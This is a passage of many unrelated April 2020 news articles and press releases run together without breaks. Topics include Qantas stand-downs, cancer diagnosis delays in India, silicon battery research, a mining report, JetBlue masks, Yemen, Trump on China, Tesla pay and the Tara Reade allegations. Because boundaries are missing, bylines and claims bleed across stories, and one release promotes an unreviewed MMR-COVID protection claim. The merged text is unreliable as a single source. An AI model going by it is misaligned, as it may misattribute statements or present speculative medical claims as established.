during the coronavirus crisis (pictured is Adelaide airport in early April) 'Unfortunately, the devastating impact that travel restrictions have had on airlines means the majority of our employees are stood down and not receiving their regular income whether that's normal pay or paid sick leave,' a spokesman said. 'Employees who are stood down are not eligible to receive paid sick leave because there is no work for employees to be absent from but they can access annual, long service leave and other support.' He added that sick leave entitlements continue to accrue and will be available after stood down employees return to work. The TWU accused Qantas of treating staff like expendable cogs in its machine. 'It announced early on it was forcing them to bear the brunt of stand-downs by using their accrued, future and long-service leave,' Mr Kaine said. 'It refused to listen to worker concerns about the spread of the COVID-19, even suspending a worker in Sydney, and has allowed several clusters to spread.' The Federal Court finished hearing the case on Tuesday and is now deliberating its judgement. Oncologists fear delayed cancer diagnosis, stage migration amid COVID-19 crisis India pti-PTI New Delhi, Apr 28: With people fearing about visits to hospitals amid the coronavirus outbreak, delayed diagnosis of cancer and its stage migration could be a fallout of the current crisis, according to senior oncologists. While many medical treatments can be put off amid the COVID-19 crisis, "cancer does not wait", oncologists feel. Cancer treatment in times of coronavirus has been challenging as the pandemic is impacting both cancer diagnostics and treatment, with doctors having to balance risks versus benefits on a daily basis. Dr Bhawna Sirohi, director of Medical Oncology at Max Healthcare, said cancer is "not going to wait" and the threat from it is "now and real". "I feel patients, scared because of COVID-19, are not coming to hospitals and that is pushing them from early cancer to late stages," she told PTI. Sirohi urged patients not to be scared to come to hospitals and if they have a warning sign like a lump, they should not delay treatment. She said she recently had a patient who ignored symptoms for three weeks and delayed consulting a doctor, but was later detected with cancer. COVID-19 is here to stay and one just has to get used to the precautions and make it a new normal, she said. "Stage 1 and 2 (of cancer) can become 3 and 4, it can become incurable, if you don't act upon it," Sirohi said. Talking about cancer treatment in times of COVID-19, she said a balance has to be maintained between risks and benefits. "If the benefit is very small then one should avoid chemotherapy. But if you have a patient with lymphoma or blood cancer then the cure rates are very high, so you would want to go for the benefits," she said. Dr Akshay Tiwari, Associate Director and Head, Musculoskeletal Oncology, Max Healthcare, said as a bone cancer surgeon he is facing challenges at multiple levels. Patients are finding it very difficult to travel and even those who have the wherewithal to travel, are scared of coming to the hospital for the fear of contracting coronavirus, he said. This means that patients who should have been seeking treatment are not doing so and that would lead to stage migration of cancer, Tiwari said. "Some cases may even become incurable because of the delay. We are fearing this as patients are not coming to us. Similar fears have been voiced by cancer specialists across the world," he told PTI. The message should go to the public that cancer does not wait and it is even deadlier than COVID-19, the senior oncologist said. "Diagnosis may also be delayed and that is what is unfortunate. The message needs to go out that we should not ignore symptoms which are remotely linked to cancer for example a lump or swelling," he said. Dr. Rajender Kumar, Additional Director and Head of Oncology at Fortis Hospital, Shalimar Bagh, said the COVID-19 crisis is definitely posing a challenge to cancer treatment as many patients with malignancy in the head and neck area or having lung cancer have symptoms similar to COVID-19. "We are using all the precautions and the staff is using PPEs as cancer treatment is essential," he told PTI. Asked whether the COVID-19 pandemic can lead to delayed cancer diagnosis, Kumar said patients are coming to his hospital and their numbers have not decreased, but it is a possibility as most of the routine clinics and hospitals are shut down and people are not going to their doctors. "We don't have data on it, but it can happen," Kumar said. Dr. Niranjan Naik, Director - Breast & Gastro-intestinal (GI) Onco-Surgery, Fortis Memorial Research Institute, said the COVID-19 crisis is posing a challenge as patients with low immunity are at a higher risk of contracting the virus. He said the key aspect while making decisions is the cancer doubling time which is different for different cancers, with blood cancer being very aggressive as compared with breast cancer. "Whenever any symptoms emerge, one should get proper medical investigations done even in the present times as cancer will not wait," Naik told PTI. As the nation fights one of its biggest health battles against COVID-19 pandemic, there are many individual battles being fought by bravehearts, both doctors and patients, to emerge victorious against other life-threatening diseases. By Express News Service NEW DELHI: Defence Minister Rajnath Singh reviewed the contributions being made by the Defence Public Sector Undertakings (DPSUs) and Ordnance Factory Board (OFB) in the nation's COVID-19 fight and also their operational plans through video conference on Tuesday. While appreciating their innovative skills and the assistance rendered to the local administration, he directed them to be ready with post-lockdown plans. MoD in its official release said, "Several Units of OFB and DPSUs which are located in non-red zones have already started operations. Almost all DPSUs have made contingency plans to ramp up production after the lockdown is lifted by drawing up plans to work in three shifts and extending the work days from five to six days a week. Work will be carried out by observing social distancing and other relevant health guidelines." Rajnath Singh stressed DPSUs along with the private defence industry could play a major role in the economic revival. ALSO READ | Centre warns against indiscriminate use of plasma therapy for treating COVID-19 He also appreciated the monetary contribution of about Rs 77 crores made by the Department of Defence Production (DDP), Ministry of Defence (MoD), OFB and DPSUs to the PM CARES Fund, generated from Corporate Social Responsibility (CSR) funds and one-day salary contributions. The OFB's contribution in fighting COVID-19 included repair of more than 100 ventilators, manufacturing 12,800 coveralls, development of spcialised machines for testing of PPEs, supply of 6.35 lakh masks to local authorities, supply of 340 specialised tents to Arunachal Pradesh for COVID-19 patients, distribution of 1 lakh litres of hand sanitizer etc. The OFB has also earmarked 280 isolation beds at its hospitals in 10 locations. Bharat Electronics Ltd (BEL), meanwhile, will be manufacturing 12,000 ventilators in the month of May 2020 and another 18,000 in June 2020. Around 3,000 engineers will also participate in the training of health professionals in operationalising these ventilators. HAL, for its part, has manufactured and supplied 300 aerosol cabinets to various hospitals. It has also distributed 56,000 masks and extended support to migrant labourers. In addition, it has also earmarked 93 isolation beds in Bangalore for COVID-19 patients. No positive COVID-19 case has been recorded among HAL employees. Bharat Dynamics Ltd (BDL) is also working with eminent scientists for finalisation of design for ventilators and to make the prototype. The Mazagon Dock Shipbuilders Limited (MDL) has provided PPE and medicines worth Rs 5 lakh to Naval Quarantine Centre, Mumbai and distributed 4,000 litres of sanitiser. RICHLAND, Wash. -- The same material you'll find at the tip of a pencil--graphite--has long been a key component in today's lithium-ion batteries. As our reliance on these batteries increases, however, graphite-based electrodes are due for an upgrade. For that, scientists are looking to the element at the heart of the digital revolution: silicon. Scientists at the U.S. Department of Energy's Pacific Northwest National Laboratory have come up with a novel way to use this promising but problematic energy storage ingredient. Silicon, used in computer chips and many other products, is appealing because it can hold 10 times the electrical charge per gram compared to graphite. The trouble is, silicon expands greatly when it encounters lithium, and it is too weak to withstand the pressure of electrode manufacturing. To tackle these issues, a team led by PNNL researchers Ji-Guang (Jason) Zhang and Xiaolin Li developed a unique nanostructure that limits silicon's expansion while fortifying it with carbon. Their work, which was recently published in the journal Nature Communications, could inform new electrode material designs for other types of batteries and eventually help increase the energy capacity of the lithium-ion batteries in electric cars, electronic devices, and other equipment. Taking the cons out of silicon A conductive and stable form of carbon, graphite is well suited to packing lithium ions into a battery's anode as it charges. Silicon can take on more lithium than graphite, but it tends to balloon about 300 percent in volume, causing the anode to break apart. The researchers created a porous form of silicon by aggregating small silicon particles into microspheres about 8 micrometers in diameter--roughly the size of one red blood cell. "A solid material like stone, for example, will break if it expands too much in volume," Zhang said. "What we created is more sponge-like, where there is space inside to absorb the expansion." The electrode with porous silicon structure exhibits a change in thickness of less than 20 percent while accommodating twice the charge of a typical graphite anode, the study found. However, unlike previous versions of porous silicon, the microspheres also exhibited extraordinary mechanical strength, thanks to carbon nanotubes that make the spheres resemble balls of yarn. Super-strong microspheres The researchers created the structure in several steps, starting by coating the carbon nanotubes with silicon oxide. Next, the nanotubes were put into an emulsion of oil and water. Then they were heated to boiling. "The coated carbon nanotubes condense into spheres when the water evaporates," said Li. "Then we used aluminum and higher heat to convert the silicon oxide into silicon, followed by immersion in water and acid to remove by-products." What emerges from the process is a powder composed of the tiny silicon particles on the surface of carbon nanotubes. The porous silicon spheres' strength was tested using the probe of an atomic force microscope. The authors found that one of the nanosized yarn balls "may yield slightly and lose some porosity under very high compressing force, but it will not break." This augurs well for commercialization, because anode materials must be able to handle high compression in rollers during manufacturing. The next step, Zhang said, is to develop more scalable and economical methods for making the silicon microspheres so that they can one day make their way into the next generation of high-performance lithium-ion batteries. ### The study also includes authors Haiping Jia, Junhua Song, Xin Zhang, Langli Luo, Yang He, Binsong Li, Yun Cai, Shenyang Hu, Chongmin Wang, Kevin M. Rosso, Ran Yi, Rajankumar Patel, all of PNNL, and Xingchen Xiao of the General Motors Research and Development Center. The research was supported by the Vehicle Technologies Office of the Department of Energy's Office of Energy Efficiency and Renewable Energy. Microscopic and spectroscopic measurements were done at EMSL, the Environmental Molecular Sciences Laboratory, a DOE Office of Science user facility at PNNL. Evidence suggesting possible protection from MMR vaccines against COVID-19 discovered by Dr. Larry P. Tilley in March 2020 corroborated by new evidence from UK scientists ATLANTA, April 28, 2020. Tilley's investigation began on March 25, 2020 when he discovered epidemiological data suggesting a possible protective effect from common measles-rubella containing vaccines like MMR. "Epidemiological data from country after country seems to suggest expanded measles-rubella containing vaccination programs correlate with lower morbidity from COVID-19," said Tilley. A possible biological mechanism for the protective effect of measles-rubella vaccines was described in an unreviewed study published recently by scientists at University of Cambridge. This study appears to corroborate for the first time Tilley's own COVID-19/MMR work submitted to the National Institute of Health's COVID-19 research team on March 29, 2020. About Dr. Larry P. Tilley Dr. Larry P. Tilley is a board-certified internist and medical consultant who currently assists over two dozen pharmaceutical companies in the development of new medications and protocols. About World Organization World Organization is a 501c3 nonprofit charity based in Atlanta, Georgia. Photos accompanying this announcement are available at https://www.globenewswire.com/NewsRoom/AttachmentNg/607bf837-1230-4195-9c5f-f700d2534432 https://www.globenewswire.com/NewsRoom/AttachmentNg/99dd0adc-efb7-4ddc-90af-61933c07dfa2 Regardless of what the news reports are reporting - "Prince Harry cannot stand LA," "Prince Harry and Meghan Markle returning to the UK," and "Queen Elizabeth will Welcome Prince Harry and Meghan Markle Back," the British believe that the two are just simply better off in LA. According to a new poll by Newsweek, nearly half of Britain thinks Prince Harry and Meghan Markle can find a higher level of happiness outside the royal family. This is an exclusive poll run by the news outlet, and one can only wonder if people answered the way they did because this is what they truly believe in OR this is what they want to happen. After all, an earlier poll had results showing most British wanted the Duke and Duchess of Sussex not to return to the UK. Harry and Meghan have chosen to step down from their senior royal roles and begin a new independently, since last year. "Megxit' as the decision is called, became official at the end of March. Barely three weeks in their new lives; however, reports are already full of conflicting reports of their present emotions. Some said that because of the coronavirus, the two are feeling guilty that they are aware of the royal family, while Queen Elizabeth, Prince William, and Kate Middleton carry out their duties while at the same time, practicing social distancing measures. The same can be said of the two of them, though, as they have joined charity works in LA while the crisis continues to rage on. Meghan Markle is also reportedly looking for more deals to cement her way back to Hollywood, while Prince Harry is said to be looking at his own lucrative endeavors as well. The two have also recently announced their new charity called Archewell. Among those who answered the poll,48% specifically said they would be happier living life outside the royal family. While it is not the majority, only 26% said they would not be. The rest were in the neutral. This answer is supported by the fact that 41% also answered that the former royals made the right decision, compared to the 34% who said they did not. Among those who claimed they made the wrong decision, 54% said it could not be undone, while 32% claimed they could and should return. The total number of respondents was at 1,500 adults. Interestingly, 45% of those who answered said they made the right decision to engage in a media boycott of four UK news outlets. Before this poll, some said that this act was merely petty, insensitive, and attention-seeking. The respondents can be taken to be supportive of Prince Harry and Meghan Markle's decision to be in LA, even though there were recent critics who described the move as selfish. Still, 34% of those who answered the poll said the criticisms that the two received were on the reasonable level, with another 13% saying the criticisms were NOT STRONG ENOUGH. The polling is actually timely too because Meghan and Prince Harry are presently awaiting the first ruling of the judge on Markle's privacy suit against Mail on Sunday. It should happen this week. READ MORE: Bye, Hollywood! Prince Harry, Meghan Markle Ready to Return to Royal Lives Not for distribution to U.S. newswire services or for dissemination in the United States OAKVILLE, Ontario, April 28, 2020 (GLOBE NEWSWIRE) -- Giyani Metals Corp. April 28, 2020 (TSXV:EMM) (FRANKFURT:KT9) (WKN:A2DUU8) (Giyani or the Company) is pleased to announce that it has filed an updated and amended technical report (the Amended Technical Report), prepared in accordance with National Instrument 43-101 (NI 43-101), on its K.Hill manganese project in Botswana (K.Hill), as a result of a review by Staff of the Ontario Securities Commission (OSC). The Amended Technical Report also includes a new current Mineral Resource statement for K.Hill. Staff of the OSC noted that the technical report filed by the Company on September 25, 2019 regarding K.Hill was incomplete and did not address all of the disclosure items required of a technical report under NI 43-101. Giyani has accordingly done so in the Amended Technical Report. Robin Birchall, CEO of Giyani Metals Corp. commented: I am delighted that in the Amended Technical Report we have had the opportunity to increase our Mineral Resource and update the preliminary economic assessment at K.Hill. In doing so the project economics continue to be robust, with a small increase in mine life and tonnage. Despite the various national lock downs in place, we are continuing to advance the K.Hill feasibility study, which we still plan to deliver on schedule. Updated Mineral Resource Statement The report provides updated technical and economic information, including an updated current Mineral Resource statement now with 1.24 million tonnes grading 27.3% manganese oxide (MnO) at a cut-off grade of 8.9% MnO. The table below contains a summary of the K.Hill Inferred Mineral Resource: K.Hill Mineral Resource at a cut-off grade of 8.9% MnO, January 31, 2020 Category Tonnes (Millions) MnO % Al 2 O 3 % SiO 2 % Fe 2 O 3 % LOI % Inferred Mineral Resource 1.24 27.3 9.1 32.5 15.5 8.1 Footnotes: The Inferred Mineral Resource Estimate is reported above a cut-off grade of 8.9% MnO A 10% reduction has been applied to the resource tonnage to account for moisture content. Tonnages can therefore be considered dry. The Mineral Resource Estimate is constrained within grade based solids and within a Lerchs-Grossman optimised pit shell based on an HPEMM price of US$4,700/t and the following parameters: Mining Cost US$3.46/t rock; Processing Cost US$276.45/t ore; Selling cost 3%; G&A US$20/t ore; Discount Rate 10%; Processing Recovery 87.5%; Mining Recovery 95%; Mining Dilution 5%; Geotechnical Slope Angle - 45 All figures are rounded to reflect the relative accuracy of the estimates. Mineral Resources are not Mineral Reserves and do not have demonstrated economic viability. It is uncertain if further exploration will convert Inferred Mineral Resources to higher confidence categories. Preliminary Economic Assessment Updated Consequently, the preliminary economic assessment (PEA) was also adjusted as a result of the aforementioned update to the Mineral Resource estimate. The following are highlights of the updated PEA: Category Tonnes (Millions) MnO % Al 2 O 3 % SiO 2 % Fe 2 O 3 % LOI % Inferred Mineral Resource 1.24 27.3 9.1 32.5 15.5 8.1 Prior Inferred Mineral Resource 1.10 31.2 8.9 26.3 16.9 8.8 Highlights PEA now based on the 1.24 million tonnes Inferred Mineral Resource estimate for K.Hill; 10-year potential project operating life producing 236,000 tonnes of high-purity electrolytic manganese metal ( HPEMM ); ); Pre-tax NPV of C$496 million (US$357 million) and after tax NPV of C$382 million (US$275 million), using a 10% discount rate; Estimated C$150.6 million (US$108.5 million) in pre-production capital, C$13.7 million (US$9.9 million) in sustaining capital, C$24.7 million (US$17.8 million) in contingency at 15%, and C$6.9 million (US$5 million) closure costs for a total project capital of C$196 million (US$141.3 million); After-tax IRR of 82.1% and a 3-year payback period. The economics are based on a projected average price of US$4,700/tonne for HPEMM of 99.9% Mn over the project life. The following table compares the values of key indicators from the updated and amended PEA alongside those from the technical report filed in September 2019. Key Indicator PEA April, 2020 PEA September, 2019 Inferred Mineral Resource Estimate 1.24 million tonnes 1.1 million tonnes Project Lifetime 10 years 9 years Pre-tax NPV US$357 million US$369 million After tax NPV US$275 million US$285 million IRR 82.1% 90.6% The PEA is considered preliminary in nature and includes Inferred Mineral Resources that are considered too speculative geologically to have the economic considerations applied to them that would enable them to be categorized as Mineral Reserves, and accordingly there is no certainty that the preliminary economic assessment will be realized. The expected accuracy of costs in the PEA is within a -35% to +45% level of confidence, as is appropriate for the level of study and accuracy of the input data provided. Mineral Resources that are not Mineral Reserves do not by definition have demonstrated economic viability. Qualified Persons Statement The Qualified Person (as that term is defined by NI 43-101) responsible for preparing the Mineral Resource statement, PEA and Amended Technical Report for the K.Hill is Michael John Beare, BEng, CEng, MIOM of SRK Consulting (UK) Ltd. Mr. Beare has reviewed and approved the scientific and technical content contained in this press release and verified the underlying technical data. Mr. Beare is independent of the Company. About Giyani Giyani Metals Corp. is a Canadian explorer and developer focused on the development of its K.Hill, Lobatse & Otse manganese projects in the Kanye Basin, Botswana, Africa. The companys flagship K.Hill project is a near-surface manganese oxide deposit currently going through a feasibility study to produce high-purity electrolytic manganese metal (HPEMM), a key product needed for batteries in the expanding electric vehicle (EV) market. Additional information and corporate documents may be found on www.sedar.com and on Giyani Metals Corp. Website: https://giyanimetals.com/. On behalf of the Board of Directors of Giyani Metals Corp. Robin Birchall, CEO Contact: Giyani Metals Corp. Robin Birchall CEO, Director +447711313019 rbirchall@giyanimetals.com Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this news release. Forward Looking Information This press release contains forward-looking information within the meaning of applicable Canadian securities legislation. All statements in this news release, other than statements of historical fact, that address events or developments that Giyani expects to occur, are forward-looking statements. Forward-looking statements are statements that are not historical facts and are generally, but not always, identified by the words expects, does not expect, plans, anticipates, does not anticipate, believes, intends, estimates, projects, potential, scheduled, forecast, budget and similar expressions, or that events or conditions will, would, may, could, should or might occur. All such forward-looking statements are based on the opinions and estimates of the relevant management as of the date such statements are made and are subject to certain assumptions, important risk factors and uncertainties, many of which are beyond Giyanis ability to control or predict. Forward-looking information is subject to a variety of known and unknown risks, uncertainties and other factors which could cause actual events or results to differ from those expressed or implied by the forward-looking information, including, without limitation: inherent exploration hazards and risks; risks related to exploration and development of natural resource properties; uncertainty in Giyanis ability to obtain funding; commodity price fluctuations; recent market events and conditions; risks related to the uncertainty of Mineral Resource calculations and the inclusion of Inferred Mineral Resources in economic estimation; risks related to governmental regulations; risks related to obtaining necessary licenses and permits; risks related to their business being subject to environmental laws and regulations; risks related to their mineral properties being subject to prior unregistered agreements, transfers, or claims and other defects in title; risks relating to competition from larger companies with greater financial and technical resources; risks relating to the inability to meet financial obligations under agreements to which they are a party; ability to recruit and retain qualified personnel; and risks related to their directors and officers becoming associated with other natural resource companies which may give rise to conflicts of interests. This list is not exhaustive of the factors that may affect Giyanis forward-looking information. Should one or more of these risks and uncertainties materialize, or should underlying assumptions prove incorrect, actual results may vary materially from those described in the forward-looking information or statements. Giyanis forward-looking information is based on the reasonable beliefs, expectations and opinions of their respective management on the date the statements are made, and Giyani does not assume any obligation to update forward looking information if circumstances or managements beliefs, expectations or opinions change, except as required by law. For the reasons set forth above, investors should not place undue reliance on forward-looking information. For a complete discussion with respect to Giyani and risks associated with forward-looking information and forward-looking statements, please refer to Giyanis financial statements and related MD&A, all of which are filed on SEDAR at www.sedar.com. GIYANI METALS CORP. 1155 North Service Road West, Unit 11 Oakville, Ontario L6M 3E3 T: 289-291-4032 www.giyanimetals.com TSXV:EMM JetBlue Airways Corp on Monday became the first major U.S. airline to order customers to wear face coverings while traveling in an effort to curb the spread of the novel coronavirus. The new policy follows guidelines by the U.S. Centers for Disease Control that all individuals should wear a face covering in public. Starting May 4 all JetBlue customers will be required to wear a face covering over their nose and mouth throughout their journey, including during check-in, boarding, while in flight and deplaning, the low-cost carrier said in a statement. JetBlue Airways Corp on Monday became the first major U.S. airline to order customers to wear face coverings while traveling in an effort to curb the spread of the novel coronavirus 'Wearing a face covering isn't about protecting yourself it's about protecting those around you,' said Joanna Geraghty, president and chief operating officer, JetBlue. 'This is the new flying etiquette. Onboard, cabin air is well circulated and cleaned through filters every few minutes but this is a shared space where we have to be considerate of others. 'We are also asking our customers to follow these CDC guidelines in the airport as well.' The company said that since late March, it has limited the number of seats available for sale on most flights, allowing the airline to provide additional space between individuals who are not traveling together. JetBlue started mandating face masks for flight attendants as well as other crewmembers including airport workers on April 17. Earlier this month, it was reported that JetBlue flight attendant Ray Pabon, 51, had died from coronavirus. Pabon, who had diabetes, died on April 13 after becoming unwell a month earlier. Before Pabin passed away, two staff members had died from COVID-19. Ralph Gismondi, 68, was based at New York's JFK and died April 5. Jared Lovos, 28, (former crew) worked in HR at JFK and died April 9. Saudi Royal Palace, Yemeni Southern Transitional Council member and former Aden Governor Nasser al-Khabji, left, and Yemen's deputy Prime Minister Salem al-Khanbashi sign a power-sharing deal in Riyadh, Saudi Arabia on Nov. 5, 2019. (Bandar Aljaloud/Saudi Royal Palace via AP) Saudi Coalition Urges Yemen Separatists to Honor Riyadh Deal DUBAI, United Arab EmiratesA Saudi-led coalition mired in a yearslong war in Yemen on April 27 urged Emirati-backed southern separatists to honor the terms of a Riyadh peace deal and share control of the port city of Aden with the countrys internationally recognized government. The statement by Saudi Arabia comes after the separatists Southern Transitional Council again claimed sole control on April 26 of Aden, a Red Sea port that serves as the seat of the internationally recognized government as Yemens Shiite rebels, known as Houthis, holds the countrys capital, Sanaa. The councils decision adds yet more complexity to the grinding war in Yemen that has pushed the Arab worlds poorest nation to the brink of famine and killed over 100,000 people. The Saudi statement urged the council to return to the terms of the November 2019 Riyadh agreement, which ended earlier fighting between the separatists and the government forcesostensible allies in the war against the Houthisafter the council seized control of Aden just a few months earlier. That deal had called for both sides to remove heavy military equipment from Yemeni cities under their control and form a unity government that included equal representation. But that deal had yet to be implemented as the war continued, massive floods struck Aden and Yemen faces the threat of the CCP (Chinese Communist Party) virus, commonly known as the novel coronavirus pandemic and the COVID-19 illness it causes. In its statement, the Saudi-led coalition urged the council to honor the deal to unite Yemeni ranks, restore state institutions, and combat the scourge of terrorism. The deal entails forming a competent government that would operate out of Aden to tackle economic and developmental challenges, in light of natural disasters such as floods, fears of the COVID-19 pandemic outbreak, and work to provide services to the brotherly people of Yemen. The statement did not say what Saudi Arabia would do if the council refused. The kingdom, itself focused on the CCP virus outbreak, declared a unilateral cease-fire with the Houthis in April that was later extended through the holy Muslim month of Ramadan. But fighting has continued, with each side blaming the other for violations. The Southern Transitional Council had been the on-the-ground allies of the United Arab Emirates, once Saudi Arabias main partner in the war that subsequently withdrew from the conflict. The councils backers often fly the flag of former Communist South Yemen and have pushed to again split the country into two like it was from 1967 to 1990. Emirati Minister of State for Foreign Affairs Anwar Gargash said on Twitter that his nation had absolute confidence in Saudi Arabias desire to formalize the power-sharing agreement. Frustration over delaying implementation of the agreement should not be a reason to unilaterally change the status quo, he wrote. The Yemeni Foreign Ministry on April 26 urged the transitional council to heed the coalitions statement, warning on Twitter that its reckless move undermined not only the Riyadh agreement but the peace process in Yemen. The Houthis in 2014 overran major parts of northern Yemen, including Sanaa, pushing out the internationally recognized government. The Saudi-led coalition entered the conflict backing the internationally recognized government in 2015. In Brussels, European Commission spokesman Peter Stano told reporters on April 27 that the EU has taken note of the developments in southern Yemen, which he said undermine the Riyadh agreement, a key to de-escalation. What Yemen needs right now is peace, he said, calling on the separatists to implement the provisions that were agreed under the auspices of Saudi Arabia in this agreement. In a separate development, Yemeni tribal leaders and security officials said April 27 that two drones strikes killed at least six al-Qaida terrorists in Yemens southern province of Shabwa in recent days. The terrorists were killed in two separate strikes in the district of Bayhan, which is known as a stronghold of Yemens al-Qaida branch, the security officials said. The officials spoke on condition of anonymity because they were not authorized to speak to reporters, while the tribal leaders did so for fear of reprisals. The Epoch Times refers to the novel coronavirus, which causes the disease COVID-19, as the CCP virus because the Chinese Communist Partys mismanagement allowed the virus to spread throughout China and create a global pandemic. By Jon Gambrell - US president Donald Trump said China could have stopped the spread of COVID-19 from the source in Wuhan - The American leader said his country was conducting serious investigations into Beijings handling of the novel coronavirus - A German paper Bild had earlier wrote an editorial asking China to pay KSh 13 trillion in coronavirus damages United States of America (US) president Donald Trump has hinted the US may seek compensation from China over COVID-19 damages. Trump said his country was conducting investigations into Beijings handling of the novel coronavirus to determine whether or not it was introduced to the world through a human carrier. READ ALSO: Tana River governor Godhana tells locals to carry own bedding, food to quarantine centres US President Donald Trump. Photo: Getty images. Source: Getty Images READ ALSO: Bodaboda operator who lost eye after beating by police enforcing curfew cries for justice Speaking at the White House on Monday, April 27, Trump said China could have stopped the spread of the disease from the source in Wuhan. "We are not happy with China. We are not happy with that whole situation because we believe it could have been stopped at the source and it wouldnt have spread all over the world, he said. When asked whether US will consider asking the Asian nation to pay for damages just like what the German paper Bild did a week ago, Trump suggested the US could ask for more than the KSh 13 trillion Bild quoted. Germany is looking at things, we are looking at things. We are talking about a lot more money than Germanys talking about. We havent determined the final amount yet. Its very substantial. This is worldwide damage to the US and to the world," he said. US Secretary of State Mike Pompeo said the virus originated neae Wuhan lab. Photo: US Department of State. Source: Facebook READ ALSO: Mjane wa mpiganiaji uhuru Ronald Ngala, Esther Ngala aaga dunia na miaka 90 US Secretary of State Mike Pompeo had earlier said the pandemic originated near the Wuhan lab and as such it could not be ruled the outbreak was intentionally done. "We know this virus originated in Wuhan, China, the Institute of Virology was only a handful of miles from the market, where people first came down with the disease. We really need the Chinese government to open up and help explain exactly how this virus spread. The Chinese government needs to come clean," he told Fox News. Do you have a groundbreaking story you would like us to publish? Please reach us through news@tuko.co.ke or WhatsApp: 0732482690. Contact Tuko.co.ke instantly. My 'husband' from Ghana was married to another woman for ten years and I had no idea | Tuko TV Source: TUKO.co.ke MGM Resorts International MGM is scheduled to report first-quarter 2020 results on Apr 30. In the last reported quarter, the companys earnings missed the Zacks Consensus Estimate by 66.7%. Q1 Expectations The Zacks Consensus Estimate for first-quarter loss is pegged at 17 cents. Notably, the company had reported earnings per share of 12 cents in the prior-year quarter. Over the past 30 days, the companys earnings estimates have been revised downward by 18 cents. For quarterly revenues, the consensus mark is pegged at $2,548 million, suggesting a decline of 19.8% from the prior-year reported figure. Factors to Note The companys domestic operations have been temporarily closed to contain the spread of the coronavirus. Although casinos in Macau properties are now open, the company is witnessing low visitation. It is safe to say that the coronavirus outbreak is likely to have dampened the companys first-quarter performance. Notably, the company reported preliminary first-quarter 2020 results. It anticipates Las Vegas Strip Resorts to report revenues of $1.1 billion, a decline of 21% from the prior-year period. Further, the company expects Regional operations revenues of $726 million, down 21% from the year-ago quarter. Revenues from MGM China are likely to witness a sharp decline of 63% to $272 million. Moreover, the companys first-quarter results are likely to reflect sharp increase in expenses. The companys Macau properties have been incurring cash operating expenses, exclusive of rent, interest, variable gaming taxes, corporate expense and expected capital expenditures, of nearly $1.5 million per day, which is considerably higher than the amount being generated from those properties. MGM Resorts International Price and EPS Surprise MGM Resorts International Price and EPS Surprise MGM Resorts International price-eps-surprise | MGM Resorts International Quote What the Zacks Model Unveils Our proven model does not conclusively predict an earnings beat for MGM Resorts this time around. The combination of a positive Earnings ESP and a Zacks Rank #1 (Strong Buy), 2 (Buy) or 3 (Hold) increases the odds of an earnings beat. But that's not the case here. Story continues You can uncover the best stocks to buy or sell before theyre reported with our Earnings ESP Filter. MGM Resorts has a Zacks Rank #3 and an Earnings ESP of -223.96%. Stocks Poised to Beat Earnings Estimates Here are some stocks from the Zacks Consumer Discretionary space that investors may consider, as our model shows that these have the right combination of elements to deliver an earnings beat in fourth-quarter 2019. Mattel, Inc. MAT has an Earnings ESP of +1.66% and a Zacks Rank #2. You can see the complete list of todays Zacks #1 Rank stocks here. DISH Network Corporation DISH has an Earnings ESP of +6.6% and a Zacks Rank #2, at present. Discovery, Inc. DISCA currently has an Earnings ESP of +3.6% and a Zacks Rank #3. The Hottest Tech Mega-Trend of All Last year, it generated $24 billion in global revenues. By 2020, it's predicted to blast through the roof to $77.6 billion. Famed investor Mark Cuban says it will produce "the world's first trillionaires," but that should still leave plenty of money for regular investors who make the right trades early. See Zacks' 3 Best Stocks to Play This Trend >> Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report Mattel, Inc. (MAT) : Free Stock Analysis Report DISH Network Corporation (DISH) : Free Stock Analysis Report MGM Resorts International (MGM) : Free Stock Analysis Report Discovery, Inc. (DISCA) : Free Stock Analysis Report To read this article on Zacks.com click here. Zacks Investment Research Tesla CEO Elon Musk is on the cusp of a massive payday as the electric carmakers stock recovers from its coronavirus slump. On Monday, shares surged 10 per cent ahead of the companys quarterly report and the belief that it may soon be able to reopen its facility in Fremont, California. Mr Musk, who receives no salary or cash bonus, has share options that are now likely to vest based on the companys market capitalisation and milestones for revenue and profit growth. The potential payout of $750m would surpass any payout previously granted to a US executive. Perhaps feeling in a punchy mood, Mr Musk took a shot at the centre of the tech industry. The CEO and majority owner of the SpaceX rocket maker tweeted on Monday night: Silicon Valley has become Sanctimonious Valley Too much the moral arbiter of the world. When a follower asked: Overtaking Hollywood? Mr Musk responded: Which isnt easy! Negotiated two years ago, the first in a series of payouts comes at an extremely awkward time as criticism grows of billionaires becoming increasingly richer at a time of global strife. The coronavirus pandemic forced Tesla to shut down production, which led to a decision to furlough all non-essential workers and implement salary cuts. However, the companys Shanghai gigafactory facility is ramping up production, and employees in California have been told that the company wants to restart production there by 4 May. From a low point on 18 March, Mondays rally put Teslas market capitalisation at $145bn. Importantly for Mr Musk, its stock market value reached a six-month average of $96bn. Hitting a six-month average of $100bn would trigger the vesting of the first of 12 tranches of options granted to the billionaire to buy Tesla stock as part of his two-year-old pay package. Each tranche gives Musk the option to buy 1.69 million Tesla shares at $350.02 each. Taking Mondays Tesla closing stock price of $798.75 as an example, Mr Musk could sell those shares for a profit of $758m. If Mr Musk meets further ever higher targets he stands to receive 11 further payouts of 1.69 million shares. If targets are missed in a particular period he receives nothing. His current net worth is 24.6bn making him the 31st richest person in the world, according to Forbes. With reporting from Reuters Some allies of President Donald Trump pointed Monday to new claims by a woman who said she was told about sexual-assault allegations against Joe Biden decades ago, renewing attention to questions about the past behavior of the presumptive Democratic presidential nominee. Apparent corroboration surfaced this week for elements of two accusations made by Biden's former Senate aide Tara Reade, one involving harassment and the second a sexual assault. Biden has not commented on the allegations, but his campaign has denied them and pointed to his record on women's rights and promotion of women in his offices. Lynda LaCasse, who was one of Reade's neighbors in California, where Reade moved after working for Biden, said in an interview with Business Insider published Monday that Reade told her in the mid-1990s that Biden had "put his hand up her skirt and he put his fingers inside her." Lorraine Sanchez, a former colleague of Reade's in the office of a California state senator, also told the news outlet that Reade told her in the mid-1990s that she "had been sexually harassed by her former boss while she was in DC and as a result of her voicing her concerns to her supervisors, she was let go, fired." Sanchez did not recall whether Reade mentioned Biden specifically, or whether she provided further details about the allegation. In recent days, a 1993 call to Larry King's CNN talk show also surfaced. In it, a woman whom Reade identified as her now-deceased mother called to report unspecified "problems" her daughter was having with her employer, whom she called "a prominent senator." The caller said her daughter did not want to go public with her account "out of respect for" the unnamed senator. 